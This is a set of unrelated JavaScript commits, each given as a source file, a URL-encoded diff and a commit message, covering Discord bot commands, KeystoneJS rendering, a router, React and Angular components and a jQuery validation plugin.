const { Command } = require('discord.js-commando') const os = require('os') const moment = require('moment') require('moment-duration-format') module.exports = class PingCommand extends Command { constructor (client) { super(client, { name: 'ping', memberName: 'ping', group: 'information', description: 'Checks the bots latency to the server.', aliases: [ 'pong' ], clientPermissions: [ 'EMBED_LINKS' ], throttling: { usages: 2, duration: 10 } }) } async run (message) { if (!message.editable) { const pingMessage = await message.say({ content: '', embed: { description: 'Pinging...', color: this.client.getClientColor(message) } }) return pingMessage.edit({ content: '', embed: { author: { name: this.client.user.tag, icon_url: this.client.user.displayAvatarURL() }, footer: { text: message.author.tag, icon_url: message.author.displayAvatarURL() }, timestamp: new Date(), fields: [ { 'name': 'REST Latency', 'value': moment.duration(pingMessage.createdTimestamp - message.createdTimestamp).format('s[s] S[ms]'), 'inline': true }, { 'name': 'REST Latency', 'value': moment.duration(this.client.ping).format('s[s] S[ms]'), 'inline': true }, { 'name': 'Client Uptime', 'value': moment.duration(this.client.uptime).format('y [yr,] M [mo,] w [wk,] d [day,] h [hr,] m [min,] s [sec, and] S [ms]'), 'inline': false }, { 'name': 'System Uptime', 'value': moment.duration(os.uptime() * 1000).format('y [yr,] M [mo,] w [wk,] d [day,] h [hr,] m [min,] s [sec, and] S [ms]'), 'inline': true } ], color: this.client.getClientColor(message) } }) } else { await message.edit({ content: '', embed: { description: 'Pinging...', color: this.client.getClientColor(message) } }) return message.edit({ content: '', embed: { author: { name: this.client.user.tag, icon_url: this.client.user.displayAvatarURL() }, footer: { text: message.author.tag, icon_url: message.author.displayAvatarURL() }, timestamp: new Date(), fields: [ { 'name': 'REST Latency', 'value': moment.duration(message.editedTimestamp - message.createdTimestamp).format('s[s] S[ms]'), 'inline': true }, { 'name': 'REST Latency', 'value': moment.duration(this.client.ping).format('s[s] S[ms]'), 'inline': true }, { 'name': 'Client Uptime', 'value': moment.duration(this.client.uptime).format('y [yr,] M [mo,] w [wk,] d [day,] h [hr,] m [min,] s [sec, and] S [ms]'), 'inline': false }, { 'name': 'System Uptime', 'value': moment.duration(os.uptime() * 1000).format('y [yr,] M [mo,] w [wk,] d [day,] h [hr,] m [min,] s [sec, and] S [ms]'), 'inline': true } ], color: this.client.getClientColor(message) } }) } } }
JavaScript
0.000005
@@ -1351,36 +1351,41 @@ 'name': ' -REST +Websocket Latency',%0A @@ -2795,36 +2795,41 @@ 'name': ' -REST +Websocket Latency',%0A
d405cfdac2c7242f728b452daf7f0b5482416518
Add `clear` as alias
commands/util/clean.js
commands/util/clean.js
const { Command } = require('discord.js-commando'); const winston = require('winston'); module.exports = class CleanCommand extends Command { constructor(client) { super(client, { name: 'clean', aliases: ['purge', 'prune'], group: 'util', memberName: 'clean', description: 'Deletes messages.', details: `Deletes messages. Here is a list of filters: __invites:__ Messages containing an invite __user @user:__ Messages sent by @user __bots:__ Messages sent by bots __you:__ Messages sent by Commando __uploads:__ Messages containing an attachment __links:__ Messages containing a link`, guildOnly: true, throttling: { usages: 2, duration: 3 }, args: [ { key: 'limit', prompt: 'how many messages would you like to delete?\n', type: 'integer', max: 100 }, { key: 'filter', prompt: 'what filter would you like to apply?\n', type: 'string', default: '' }, { key: 'member', prompt: 'whose messages would you like to delete?\n', type: 'member', default: '' } ] }); } hasPermission(msg) { return msg.member.roles.exists('name', 'Server Staff'); } async run(msg, args) { // eslint-disable-line consistent-return const limit = args.limit; const filter = args.filter.toLowerCase(); let messageFilter; if (filter) { if (filter === 'invite') { messageFilter = message => message.content.search(/(discord\.gg\/.+|discordapp\.com\/invite\/.+)/i) !== -1; } else if (filter === 'user') { if (args.member) { const member = args.member; const user = member.user; messageFilter = message => message.author.id === user.id; } else { return msg.say(`${msg.author}, you have to mention someone.`); } } else if (filter === 'bots') { messageFilter = message => message.author.bot; } else if (filter === 'you') { messageFilter = message => message.author.id === message.client.user.id; } else if (filter === 'upload') { messageFilter = message => message.attachments.size !== 0; } else if (filter === 'links') { messageFilter = message => message.content.search(/https?:\/\/[^ \/\.]+\.[^ \/\.]+/) !== -1; // eslint-disable-line no-useless-escape } else { return msg.say(`${msg.author}, this is not a valid filter. \`help clean\` for all available filters.`); } } if (!filter) { const messagesToDelete = await msg.channel.fetchMessages({ limit: limit }); msg.channel.bulkDelete(messagesToDelete.array().reverse()); } else { const messages = await msg.channel.fetchMessages({ limit: limit }); const messagesToDelete = messages.filter(messageFilter); msg.channel.bulkDelete(messagesToDelete.array().reverse()); } } }; process.on('unhandledRejection', err => { winston.error(`Uncaught Promise Error: \n${err.stack}`); });
JavaScript
0.005238
@@ -224,16 +224,25 @@ 'prune' +, 'clear' %5D,%0A%09%09%09gr
91ad418d497623310c186c41af4be8bed3416ee5
Revert "prevent admin js error for empty signout value"
lib/core/render.js
lib/core/render.js
var _ = require('underscore'); var cloudinary = require('cloudinary'); var fs = require('fs'); var jade = require('jade'); var serializeJavaScript = require('serialize-javascript'); /** * Renders a Keystone View * * @api private */ var templateCache = {}; function render(req, res, view, ext) { var keystone = this; var templatePath = __dirname + '/../../admin/server/templates/' + view + '.jade'; var jadeOptions = { filename: templatePath, pretty: keystone.get('env') !== 'production' }; var compileTemplate = function() { return jade.compile(fs.readFileSync(templatePath, 'utf8'), jadeOptions); }; var template = templateCache[view] || (templateCache[view] = compileTemplate()); if (!res.req.flash) { console.error('\nKeystoneJS Runtime Error:\n\napp must have flash middleware installed. Try adding "connect-flash" to your express instance.\n'); process.exit(1); } var flashMessages = { info: res.req.flash('info'), success: res.req.flash('success'), warning: res.req.flash('warning'), error: res.req.flash('error'), hilight: res.req.flash('hilight') }; var lists = {}; _.each(keystone.lists, function(list, key) { lists[key] = list.getOptions(); }); var locals = { _: _, serializeJavaScript: serializeJavaScript, env: keystone.get('env'), brand: keystone.get('brand'), appversion : keystone.get('appversion'), nav: keystone.nav, messages: _.any(flashMessages, function(msgs) { return msgs.length; }) ? flashMessages : false, lists: lists, userModel: keystone.get('user model'), user: req.user, title: 'Keystone', signout: keystone.get('signout url') || null, adminPath: '/' + keystone.get('admin path'), backUrl: keystone.get('back url') || '/', section: {}, version: keystone.version, csrf_header_key: keystone.security.csrf.CSRF_HEADER_KEY, csrf_token_key: keystone.security.csrf.TOKEN_KEY, csrf_token_value: keystone.security.csrf.getToken(req, res), csrf_query: '&' + keystone.security.csrf.TOKEN_KEY + '=' + keystone.security.csrf.getToken(req, res), ga: { property: keystone.get('ga property'), domain: keystone.get('ga domain') }, wysiwygOptions: { enableImages: keystone.get('wysiwyg images') ? true : false, enableCloudinaryUploads: keystone.get('wysiwyg cloudinary images') ? true : false, enableS3Uploads: keystone.get('wysiwyg s3 images') ? true : false, additionalButtons: keystone.get('wysiwyg additional buttons') || '', additionalPlugins: keystone.get('wysiwyg additional plugins') || '', additionalOptions: keystone.get('wysiwyg additional options') || {}, overrideToolbar: keystone.get('wysiwyg override toolbar'), skin: keystone.get('wysiwyg skin') || 'keystone', menubar: keystone.get('wysiwyg menubar'), importcss: keystone.get('wysiwyg importcss') || '' } }; // view-specific extensions to the local scope _.extend(locals, ext); // add cloudinary locals if configured if (keystone.get('cloudinary config')) { try { var cloudinaryUpload = cloudinary.uploader.direct_upload(); locals.cloudinary = { cloud_name: keystone.get('cloudinary config').cloud_name, api_key: keystone.get('cloudinary config').api_key, timestamp: cloudinaryUpload.hidden_fields.timestamp, signature: cloudinaryUpload.hidden_fields.signature, prefix: keystone.get('cloudinary prefix') || '', folders: keystone.get('cloudinary folders'), uploader: cloudinary.uploader }; locals.cloudinary_js_config = cloudinary.cloudinary_js_config(); } catch(e) { if (e === 'Must supply api_key') { throw new Error('Invalid Cloudinary Config Provided\n\n' + 'See http://keystonejs.com/docs/configuration/#services-cloudinary for more information.'); } else { throw e; } } } res.send(template(locals)); } module.exports = render;
JavaScript
0
@@ -1624,16 +1624,8 @@ rl') - %7C%7C null ,%0A%09%09
df62eda6518b1b2d963abe96abf337aab1cde5a9
Fix routes order
lib/core/router.js
lib/core/router.js
import { join } from 'path' import { Utils } from 'common' export default class Router { constructor (renderer) { this.renderer = renderer this.options = renderer.options this.routes = {} } calculate (method, url) { const routes = [] const keys = url.slice(1).split('/').filter(v => v.length) let parent = this.routes if (typeof parent.middleware === 'object') { routes.push(Object.assign({ type: 'middleware', handler: this.renderer.handlers[parent.middleware.filename] }, parent.middleware)) } let pageNotFound = keys.some((key) => { if (typeof parent.children[key] === 'object') { parent = parent.children[key] } else { const paramKeys = Object.keys(parent.paramChildren) const paramFound = paramKeys.some((paramKey) => { const paramRoute = parent.paramChildren[paramKey] if (typeof paramRoute.param === 'object') { const handler = this.renderer.handlers[paramRoute.param.filename] const { pattern } = handler if (typeof pattern === 'undefined' || (pattern instanceof RegExp && pattern.test(key))) { parent = paramRoute return true // route found } } else { parent = paramRoute return true // route found } }) if (!paramFound) { return true // route not found } } if (typeof parent.middleware === 'object') { routes.push(Object.assign({ type: 'middleware', handler: this.renderer.handlers[parent.middleware.filename] }, parent.middleware)) } if (typeof parent.param === 'object') { routes.push(Object.assign({ type: 'param', value: key, handler: this.renderer.handlers[parent.param.filename] }, parent.param)) } }) if (!pageNotFound && typeof parent.methods[method] === 'object') { routes.push(Object.assign({ type: 'method', handler: this.renderer.handlers[parent.methods[method].filename] }, parent.methods[method])) } else { pageNotFound = true } return pageNotFound ? null : routes } // TODO Load generated routes file load (_routes) { } generate (files) { const root = Utils.createRoute({ path: '/' }) files.forEach((file) => { const keys = Utils.parseKeys(file) const paths = keys.slice(0, -1) const type = keys.slice(-1)[0].toLowerCase() const filename = join(this.options.buildApiDir, file) if (type === 'middleware') { const middleware = Utils.createMiddleware({ filename }) Utils.ensureRoutes(root, paths).middleware = middleware } else if (type === 'param') { const paramKey = paths.slice(-1)[0] if (paramKey[0] !== ':') { // eslint-disable-next-line no-console console.error('> Invalid param file: ' + file) } else { Object.assign(Utils.ensureRoutes(root, paths), { param: Utils.createParam({ filename, name: paramKey.substring(1) }) }) } } else { const priority = this.options.methods.indexOf(type) if (priority < 0) { // eslint-disable-next-line no-console console.error('> Ignored type file: ' + file) } else { let method = Utils.createMethod({ filename }) Utils.ensureRoutes(root, paths).methods[type.toUpperCase()] = method } } }) /* End of files.forEach */ return (this.routes = root) } }
JavaScript
0
@@ -346,16 +346,39 @@ routes%0A%0A + // Root middleware%0A if ( @@ -1500,34 +1500,29 @@ peof parent. -middleware +param === 'object @@ -1575,35 +1575,52 @@ type: ' -middleware' +param',%0A value: key ,%0A @@ -1654,34 +1654,29 @@ lers%5Bparent. -middleware +param .filename%5D%0A @@ -1688,34 +1688,29 @@ %7D, parent. -middleware +param ))%0A %7D%0A%0A @@ -1725,37 +1725,42 @@ (typeof parent. -param +middleware === 'object') %7B @@ -1817,36 +1817,19 @@ e: ' -param',%0A value: key +middleware' ,%0A @@ -1867,37 +1867,42 @@ handlers%5Bparent. -param +middleware .filename%5D%0A @@ -1906,37 +1906,42 @@ %7D, parent. -param +middleware ))%0A %7D%0A %7D
85858e66138ce937fc00b43efbeeb0753462c20b
ADD ALL THE WHITESPACE
src/components/WordCard/index.js
src/components/WordCard/index.js
import React, { PropTypes } from 'react'; import colorByCharacter from '~/constants/colorByCharacter'; function WordCard(props) { const { word, isClues } = props; let cardClasses = `bo--1 bor--5 flex flex--jc--c align-items--center height--80 `; if (isClues) { cardClasses += word.isRevealed ? 'opacity--4-10 ' : 'cursor--pointer '; cardClasses += colorByCharacter[word.character] || 'white '; } else { cardClasses += word.isRevealed && colorByCharacter[word.character] ? colorByCharacter[word.character] : 'white '; } function toggleIsRevealed(word) { props.toggleIsRevealed && props.toggleIsRevealed(word); } return ( <div className={`grid__item col-1-5 mv-`} > <div className="ph-"> <div onClick={() => word.isRevealed ? null : toggleIsRevealed(word)} className={cardClasses} > <div className="grid grid--full col-1-1 pv"> <div className="grid__item col-1-1 text--center font--lg"> {word.text} </div> </div> </div> </div> </div> ); } WordCard.propTypes = { word: PropTypes.object.isRequired, toggleIsRevealed: PropTypes.func.isRequired, isClues: PropTypes.bool, }; export default WordCard;
JavaScript
0.999741
@@ -301,16 +301,17 @@ aled ? ' + opacity- @@ -321,16 +321,17 @@ 10 ' : ' + cursor-- @@ -397,16 +397,17 @@ er%5D %7C%7C ' + white '; @@ -490,16 +490,22 @@ acter%5D ? + ' ' + colorBy @@ -533,16 +533,17 @@ ter%5D : ' + white ';
379a528d3c6d66c74f9d5c872d673e5c82ce9331
Fix bgloader transition
src/components/bgloader/index.js
src/components/bgloader/index.js
import angular from 'angular'; import Template from './template.html'; import Styles from './styles.css'; export default angular .module('ngui.bgloader', []) .component('bgloader', { template: ` <div class="main" ng-style="{'background': $ctrl.prebgcss, 'background-size': 'cover', 'background-position': 'top center'}" style="; background-size: cover;"> <div ng-show="$ctrl.showBG" ng-class="{'fadeIn':$ctrl.fadeInBG}" style="background-image: url({{$ctrl.bgurl}})"> <ng-transclude></ng-transclude> </div> </div> `, transclude: true, bindings: { nguiOptions: '<' }, controller: function($scope) { "ngInject"; var $ctrl = this; function updateOptions(options) { if (!options) return; $ctrl.bgurl = options.bgurl || false; $ctrl.prebgcss = options.prebgcss || false; $ctrl.showBG = false; $ctrl.fadeInBG = false; var image = new Image(); var prev = new Date().valueOf(); image.onload = function () { // the image must have been cached by the browser, so it should load quickly var now = new Date().valueOf(); var compare = now - prev; $scope.$apply(function(){ if(compare >= 800){ $ctrl.fadeInBG = true; } $ctrl.showBG = true; $ctrl.prebgcss = ''; }); }; image.src = $ctrl.bgurl; } $ctrl.$onChanges = function(changes) { updateOptions(changes.nguiOptions.currentValue); } $ctrl.$onInit = function() { if (!this.nguiOptions) this.nguiOptions = {}; //updateOptions(this.nguiOptions); } } }) .filter('trusted', function($sce){ return function(css){ return $sce.trustAsCss(css); }; }) .name
JavaScript
0.000001
@@ -712,16 +712,25 @@ n($scope +,$timeout ) %7B%0A @@ -1647,26 +1647,108 @@ $ -ctrl.prebgcss = '' +timeout(function()%7B%0A $ctrl.prebgcss = '';%0A %7D,1000) ;%0A
afc4cc8a13925692213157d060f399fbf95b9af5
Fix word wrapping error on multi-digit challenge vote counts
src/components/challenge/Post.js
src/components/challenge/Post.js
import React, { Fragment, Component } from 'react' import { Box, Flex, Icon, Button, Heading, Link, Text } from '@hackclub/design-system' import PropTypes from 'prop-types' import { Modal, Overlay, CloseButton } from 'components/Modal' import Comments from 'components/challenge/Comments' import { dt, tinyDt } from 'helpers' import { sortBy } from 'lodash' import api from 'api' const Row = Flex.extend` align-items: center; word-wrap: break-word; /* word-break is duplicated here because it has a different use in WebKit: https://css-tricks.com/snippets/css/prevent-long-urls-from-breaking-out-of-container */ word-break: break-all; word-break: break-word; border-bottom: 1px solid ${props => props.theme.colors.smoke}; a { flex: 1 1 auto; } ` const UpvoteButton = Button.button.extend` display: inline-flex; align-items: center; justify-content: center; width: 100%; max-width: 72px; box-shadow: none !important; cursor: ${props => props.cursor}; ` const CommentButton = Box.withComponent('button').extend` background: none; border: 0; appearance: none; font-family: inherit; font-size: ${props => props.theme.fontSizes[0]}px; line-height: 1; display: inline-flex; align-items: center; justify-content: center; box-shadow: none !important; cursor: pointer; position: relative; padding-right: 0; margin: 0; span { position: absolute; width: 100%; top: ${props => props.theme.space[2]}px; } ${props => props.theme.mediaQueries.md} { padding-right: ${props => props.theme.space[3]}px; } ` const CommentsModal = Modal.extend` display: flex; flex-direction: column; min-height: 16rem; ` const PostRow = ({ id, name, url, description, createdAt, mine, commentsCount, upvotesCount, upvoted = false, onUpvote, onComment, disabled }) => ( <Row bg={mine ? 'yellow.0' : 'white'} title={mine ? '👑 Your post!' : `${name} posted on ${dt(createdAt)}`} py={[2, 3]} id={`post-${id}`} > <UpvoteButton bg={upvoted ? 'primary' : 'smoke'} color={upvoted ? 'white' : 'slate'} aria-label={upvoted ? 'Remove your upvote' : 'Upvote this post'} onClick={onUpvote} cursor={disabled ? 'not-allowed' : 'pointer'} > <Icon size={20} name="arrow_upward" /> <Text.span ml={1} f={2} children={upvotesCount} /> </UpvoteButton> <Link w={1} href={url} target="_blank" color="black" px={3}> <Heading.h3 f={3} m={0}> {name} <Text.span ml={2} f={0} mt={1} color="muted" regular> {tinyDt(createdAt)} </Text.span> </Heading.h3> <Text color="muted" f={2}> {description} </Text> </Link> <CommentButton aria-label={`Open comments: ${commentsCount}`} onClick={onComment} > <Icon name="chat_bubble" color={commentsCount === 0 ? 'gray.5' : 'info'} size={32} /> <Text.span bold color="white" children={commentsCount} /> </CommentButton> </Row> ) PostRow.propTypes = { id: PropTypes.number.isRequired, name: PropTypes.string.isRequired, url: PropTypes.string.isRequired, description: PropTypes.string.isRequired, createdAt: PropTypes.string, mine: PropTypes.bool, disabled: PropTypes.bool, commentsCount: PropTypes.number.isRequired, upvotesCount: PropTypes.number.isRequired, upvoted: PropTypes.bool, onUpvote: PropTypes.func.isRequired, onComment: PropTypes.func.isRequired } class Post extends Component { state = { status: 'loading', email: null, commentsOpen: false, comments: [] } onOpen = e => { this.setState({ commentsOpen: true }) let { email } = this.state if (typeof localStorage !== 'undefined') { email = localStorage.getItem('userEmail') this.setState({ email }) } api .get(`v1/posts/${this.props.id}/comments`) .then(data => { const comments = sortBy(data, ['created_at']) this.setState({ comments, status: 'success' }) this.poll() }) .catch(err => { this.setState({ status: 'error' }) }) } componentWillUnmount() { this.unSchedule() } unSchedule = () => { clearTimeout(this.poller) } schedule = () => { this.poller = setTimeout(this.poll, 2048) } poll = () => { api .get(`v1/posts/${this.props.id}/comments`) .then(data => { const comments = sortBy(data, ['created_at']) this.setState({ comments }) this.schedule() }) .catch(err => { console.error(err) }) } onClose = e => { this.setState({ commentsOpen: false }) this.unSchedule() } render() { const { id, name, url, description, createdAt, mine, commentsCount, upvotesCount, upvoted = false, onUpvote, disabled } = this.props const { status, commentsOpen, comments, email } = this.state return ( <Fragment> <PostRow onComment={this.onOpen} {...this.props} /> {commentsOpen && ( <Fragment> <CommentsModal align="left" p={[3, 4]}> <CloseButton onClick={this.onClose} /> <Comments name={name} url={url} status={status} id={id} email={email} data={comments} /> </CommentsModal> <Overlay onClick={this.onClose} /> </Fragment> )} </Fragment> ) } } export default Post
JavaScript
0.000014
@@ -436,16 +436,147 @@ center;%0A + border-bottom: 1px solid $%7Bprops =%3E props.theme.colors.smoke%7D;%0A a %7B%0A flex: 1 1 auto;%0A %7D%0A%60%0A%0Aconst Description = Text.extend%60%0A word-w @@ -818,103 +818,8 @@ rd;%0A - border-bottom: 1px solid $%7Bprops =%3E props.theme.colors.smoke%7D;%0A a %7B%0A flex: 1 1 auto;%0A %7D%0A %60%0A%0Ac @@ -2690,20 +2690,27 @@ %0A %3C -Text +Description color=%22 @@ -2753,20 +2753,27 @@ %3C/ -Text +Description %3E%0A %3C/
edeaf015b632a74e87a08fa5f0208ba0aabf0f69
fix responses display for dashboard
public/index.js
public/index.js
$(function() { // Chart effective rating function quality(results) { // Collect age results var data = {}; for (var i = 0, l = results.length; i < l; i++) { var qualityResponse = results[i].responses[0]; var k = String(qualityResponse.answer); if (!data[k]) data[k] = 1; else data[k]++; } // Assemble for graph var labels = Object.keys(data); var dataSet = []; for (var k in data) dataSet.push(data[k]); // Render chart var ctx = document.getElementById('qualityChart').getContext('2d'); var qualityChart = new Chart(ctx).Bar({ labels: labels, datasets: [{ label: 'quality', data: dataSet }] }); } function future(results) { // Collect age results var data = {}; for (var i = 0, l = results.length; i < l; i++) { var futureResponse = results[i].responses[1]; var k = String(futureResponse.answer); if (!data[k]) data[k] = 1; else data[k]++; } // Assemble for graph var labels = Object.keys(data); var dataSet = []; for (var k in data) dataSet.push(data[k]); // Render chart var ctx = document.getElementById('futureChart').getContext('2d'); var futureChart = new Chart(ctx).Bar({ labels: labels, datasets: [{ label: 'future', data: dataSet }] }); } function finance(results) { // Collect age results var data = {}; for (var i = 0, l = results.length; i < l; i++) { var financeResponse = results[i].responses[2]; var k = String(financeResponse.answer); if (!data[k]) data[k] = 1; else data[k]++; } // Assemble for graph var labels = Object.keys(data); var dataSet = []; for (var k in data) dataSet.push(data[k]); // Render chart var ctx = document.getElementById('financeChart').getContext('2d'); var financeChart = new Chart(ctx).Bar({ labels: labels, datasets: [{ label: 'finance', data: dataSet }] }); } // add text responses to a table function freeText1(results) { var $responses = $('#feedbackResponses'); var content = ''; for (var i = 0, l = results.length; i < l; i++) { var feedbackResponse = results[i].responses[8]; content += row(feedbackResponse); } $responses.append(content); } // add text responses to a table // function freeText2(results) { // var $responses = $('#confusionResponses'); // var content = ''; // for (var i = 0, l = results.length; i < l; i++) { // var confusionResponse = results[i].responses[4]; // content += row(confusionResponse); // } // $responses.append(content); // } // Load current results from server $.ajax({ url: '/results', method: 'GET' }).done(function(data) { // Update charts and tables $('#total').html(data.results.length); future(data.results); quality(data.results); finance(data.results); freeText1(data.results); // freeText2(data.results); }).fail(function(err) { console.log(err); alert('failed to load results data :('); }); });
JavaScript
0.000001
@@ -2409,24 +2409,466 @@ %7D);%0A %7D%0A%0A + // poor man's html template for a response table row%0A function row(response) %7B%0A var tpl = '%3Ctr%3E%3Ctd%3E';%0A tpl += response.answer %7C%7C 'pending...' + '%3C/td%3E';%0A if (response.recordingUrl) %7B%0A tpl += '%3Ctd%3E%3Ca target=%22_blank%22 href=%22' + response.recordingUrl + '%22%3E%3Ci class=%22fa fa-play%22%3E%3C/i%3E%3C/a%3E%3C/td%3E';%0A %7D else %7B%0A tpl += '%3Ctd%3EN/A%3C/td%3E';%0A %7D%0A tpl += '%3C/tr%3E';%0A return tpl;%0A %7D%0A%0A // add t
b336cd4a8bfe66596b9debea9ec209168c16a09b
fix selection logic, re #1115
arches/app/media/js/views/graph/permission-manager/grouped-node-list.js
arches/app/media/js/views/graph/permission-manager/grouped-node-list.js
define([ 'backbone', 'knockout', 'views/list' ], function(Backbone, ko, ListView) { var GroupedNodeList = ListView.extend({ /** * A backbone view to manage a list of graph nodes * @augments ListView * @constructor * @name GroupedNodeList */ single_select: false, select_children: true, /** * initializes the view with optional parameters * @memberof GroupedNodeList.prototype * @param {object} options * @param {boolean} options.cards - a hierarchical list of all cards (simplified json) for a resource model * @param {boolean} options.datatypes - a list of all datatypes */ initialize: function(options) { this.outerCards = options.cards.children; var parseData = function(item){ if ('nodegroup' in item){ this.items.push(item); }else{ item.selectable = false; item.active = ko.observable(false); } item.children.forEach(parseData, this); } parseData.call(this, options.cards); this.datatypes = {}; options.datatypes.forEach(function(datatype){ this.datatypes[datatype.datatype] = datatype.iconclass; }, this); this.showNodes = ko.observable(false); //this.selection = ko.observable(this.items()[0]); ListView.prototype.initialize.apply(this, arguments); }, /** * Toggles the selected status of a single list item, if {@link ListView#single_select} is * true clear the selected status of all other list items * @memberof ListView.prototype * @param {object} item - the item to be selected or unselected * @param {object} evt - click event object */ selectItem: function(item, evt, parentItem){ var self = this; if(!!item.selectable){ var selectedStatus = item.selected(); if(this.single_select){ this.clearSelection(); } item.selected(!selectedStatus); this.trigger('item-clicked', item, evt); item.children.forEach(function(childItem){ self.selectItem(childItem, evt, item); }) }else{ item.active(parentItem.selected()); } }, }); return GroupedNodeList; });
JavaScript
0
@@ -2226,16 +2226,53 @@ elected( +parentItem ? parentItem.selected() : !selecte @@ -2486,32 +2486,68 @@ %7Delse%7B%0A + if (parentItem)%7B%0A @@ -2581,16 +2581,35 @@ cted()); + %0A %7D %0A
6f2953f34fe5acf0f3c6129513117f00346753c5
Update jquery.numbervalidation.min.js
demo/js/jquery.numbervalidation.min.js
demo/js/jquery.numbervalidation.min.js
/* jQuery Number Validation Plugin v1.0.1 copyright: Alexander Perucci license: Mozilla Public License Version 2.0 */ (function(e){function t(t,n){n=n=="rgb(0, 0, 0)"?"":n;var r={rules:{type:"integer",required:false,maxvalue:undefined,minvalue:undefined,decimals:undefined,length:undefined},messages:{type:"",required:"",maxvalue:"",minvalue:"",decimals:"",length:""},settingserror:{setting:true,tooltipplacement:"bottom",tooltiptrigger:"hover",bordercolorok:n,bordercolornotok:"red"}};return e.extend(true,r,t)}function n(e,t,n){if(n.settingserror.setting){if(t){e.css("border-color",n.settingserror.bordercolorok);e.tooltip("destroy")}}}function r(e,t,n){if(n.settingserror.setting){e.css("border-color",n.settingserror.bordercolornotok);e.tooltip("destroy");e.tooltip({placement:n.settingserror.tooltipplacement,trigger:n.settingserror.tooltiptrigger,title:t})}}function i(e,t){if(e!=undefined){if(e&&t==""){return false}else{return true}}return true}function s(e,t){if(e!=undefined){var t=t.replace("-","").split(".")[0];if(t.length>e){return false}else{return true}}return true}function o(e,t){if(e!=undefined){var n=t.split(".")[1];if(n!=undefined&&n.length<=e){return true}else{return false}}return true}function u(e,t){if(e!=undefined){if(t=="")return true;if(parseFloat(t)<=parseFloat(e)){return true}else{return false}}return true}function a(e,t){if(e!=undefined){if(t=="")return true;if(parseFloat(t)>=parseFloat(e)){return true}else{return false}}return true}function f(e,t){var n=t.rules.required;var r=t.rules.maxvalue;var o=t.rules.minvalue;var f=t.rules.length;if(!i(n,e)){return{valid:false,message:t.messages.required}}if(e==undefined||e==""){return{valid:true}}var l=new RegExp("^[-]?(0|[1-9][0-9]*)$");if(!l.test(e)){return{valid:false,message:t.messages.type}}if(!s(f,e)){return{valid:false,message:t.messages.length}}if(!u(r,e)){return{valid:false,message:t.messages.maxvalue}}if(!a(o,e)){return{valid:false,message:t.messages.minvalue}}return{valid:true}}function l(e,t){var n=t.rules.required;var r=t.rules.decimals;var f=t.rules.maxvalue;var l=t.rules.minvalue;var c=t.rules.length;if(!i(n,e)){return{valid:false,message:t.messages.required}}if(e==undefined||e==""){return{valid:true}}var h=new RegExp("^[-]?(0|[1-9][0-9]*)(\\.[0-9]+)?$");if(!h.test(e)){return{valid:false,message:t.messages.type}}if(!o(r,e)){return{valid:false,message:t.messages.decimals}}if(!s(c,e)){return{valid:false,message:t.messages.length}}if(!u(f,e)){return{valid:false,message:t.messages.maxvalue}}if(!a(l,e)){return{valid:false,message:t.messages.minvalue}}return{valid:true}}e.fn.masknumber=function(i){var s=t(i,e(this).css("border-color"));e(this).data("NumberPlugin",s);return this.on("keyup",function(t){t.preventDefault();var i;switch(true){case/integer/.test(s.rules.type):i=f(e(this).val(),s);break;case/double/.test(s.rules.type):i=l(e(this).val(),s);break;default:break}!i.valid?r(e(this),i.message,s):n(e(this),true,s);e(this).focus()})};e.fn.validnumber=function(i){var s=true;for(var o=0;o<this.length;o++){var u;if(i==undefined||e.isEmptyObject(i)){u=e(this[o]).data("NumberPlugin")}else{u=t(i,e(this[o]).css("border-color"))}var a;switch(true){case/integer/.test(u.rules.type):a=f(e(this[o]).val(),u);break;case/double/.test(u.rules.type):a=l(e(this[o]).val(),u);break;default:break}!a.valid?r(e(this[o]),a.message,u):n(e(this[o]),false,u);!a.valid?s=false:true}return s}})(jQuery)
JavaScript
0.000003
@@ -72,16 +72,47 @@ Perucci%0A + site: alexanderperucci.com%0A lice @@ -3437,8 +3437,9 @@ (jQuery) +%0A
b0bff5ac33d4bb4ac67b6a98157f47aead142683
Update drill-grid-definition-selector.js
waltz-ng/client/drill-grid/components/definition-selector/drill-grid-definition-selector.js
waltz-ng/client/drill-grid/components/definition-selector/drill-grid-definition-selector.js
/* * Waltz - Enterprise Architecture * Copyright (C) 2016, 2017 Waltz open source project * See README.md for more information * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU Lesser General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ import template from './drill-grid-definition-selector.html'; import {initialiseData} from "../../../common"; import {CORE_API} from "../../../common/services/core-api-utils"; import _ from 'lodash'; const bindings = { selectedDefinition: '<', onSelectDefinition: '<' }; const initialState = { visibility: { manualPicker: false, choicePicker: false, summary: true, loading: true }, definitions: [], messages: [] }; function controller(serviceBroker) { const vm = initialiseData(this, initialState); const calculateMessages = () => { console.log('cM', { vm }) vm.messages = []; if (!vm.selectedDefinition) { vm.messages.push('No selected definition'); } if (vm.definitions.length == 0) { vm.messages.push('No prebuilt definitions, select the dimensions manually'); } }; vm.$onInit = () => { vm.visibility.loading = true; serviceBroker .loadAppData(CORE_API.MeasurableCategoryStore.findAll) .then(r => { vm.axisOptions = _.union( r.data, [ { id: -1, kind: 'DATA_TYPE', name: 'Data Type' } ]); }); serviceBroker .loadAppData(CORE_API.DrillGridDefinitionStore.findAll) .then(r => { vm.definitions = r.data; vm.visibility.manualPicker = r.data.length === 0; calculateMessages(); vm.visibility.loading = false; }); if (vm.selectedDefinition) { vm.visibility.manualPicker = vm.selectedDefinition.id === null; } }; vm.$onChanges = () => calculateMessages(); vm.onAxisChange = () => { const defn = Object.assign( {}, vm.selectedDefinition, { name: `${vm.selectedDefinition.xAxis.name} / ${vm.selectedDefinition.yAxis.name}`, description: 'Custom dimensions' }); vm.onSelectDefinition(defn); }; vm.onOptionSelect = (d) => { vm.onSelectDefinition(d); vm.switchToSummary(); }; vm.switchToSummary = () => { const v = vm.visibility; v.manualPicker = false; v.choicePicker = false; v.summary = true; }; vm.switchToChoicePicker = () => { const v = vm.visibility; v.manualPicker = false; v.choicePicker = true; v.summary = false; }; vm.switchToManualPicker = () => { const v = vm.visibility; v.manualPicker = true; v.choicePicker = false; v.summary = false; }; } controller.$inject = [ 'ServiceBroker' ]; const component = { template, controller, bindings }; const id = 'waltzDrillGridDefinitionSelector'; export default { component, id };
JavaScript
0
@@ -1406,42 +1406,8 @@ %3E %7B%0A - console.log('cM', %7B vm %7D)%0A @@ -3677,8 +3677,9 @@ id%0A%7D; +%0A
